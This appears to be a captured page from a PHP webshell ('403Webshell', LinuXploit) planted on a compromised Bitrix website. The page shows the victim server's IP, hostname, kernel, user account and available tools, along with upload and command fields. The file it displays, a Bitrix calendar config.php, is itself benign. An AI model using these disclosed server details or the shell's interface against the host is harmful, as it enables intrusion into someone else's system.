403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/calendar/open-events/list/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/calendar/open-events/list/config.php
<?php

use Bitrix\Calendar\Event\Service\OpenEventPullService;
use Bitrix\Calendar\Util;
use Bitrix\Main\Engine\CurrentUser;

if (!defined('B_PROLOG_INCLUDED') || B_PROLOG_INCLUDED !== true)
{
	die();
}

if (!\Bitrix\Main\Loader::includeModule('calendar'))
{
	return [];
}

$currentUserId = (int)CurrentUser::get()->getId();
$openEventSection = \CCalendarSect::GetList([
	'arSelect' => ['ID', 'NAME', 'CAL_TYPE', 'OWNER_ID', 'COLOR'],
	'arFilter' => [
		'CAL_TYPE' => \Bitrix\Calendar\Core\Event\Tools\Dictionary::CALENDAR_TYPE['open_event'],
	],
	'limit' => 1,
	'checkPermissions' => false,
	'getPermissions' => false,
])[0] ?? null;

return [
	'css' => 'dist/list.bundle.css',
	'js' => 'dist/list.bundle.js',
	'rel' => [
		'ui.vue3',
		'ui.entity-selector',
		'ui.switcher',
		'calendar.open-events.filter',
		'main.loader',
		'main.polyfill.intersectionobserver',
		'main.core.events',
		'im.public.iframe',
		'im.v2.const',
		'main.date',
		'ui.icon-set.main',
		'ui.buttons',
		'ui.icon-set.actions',
		'main.core',
		'main.popup',
		'ui.cnt',
		'ui.vue3.vuex',
	],
	'settings' => [
		'currentUserId' => $currentUserId,
		'currentUserTimeOffset' => Util::getTimezoneOffsetUTC(\CCalendar::GetUserTimezoneName($currentUserId)),
		'openEventSection' => $openEventSection,
		'pullEventUserFieldsKey' => OpenEventPullService::EVENT_USER_FIELDS_KEY,
	],
	'skip_core' => false,
];

Youez - 2016 - github.com/yon3zu
LinuXploit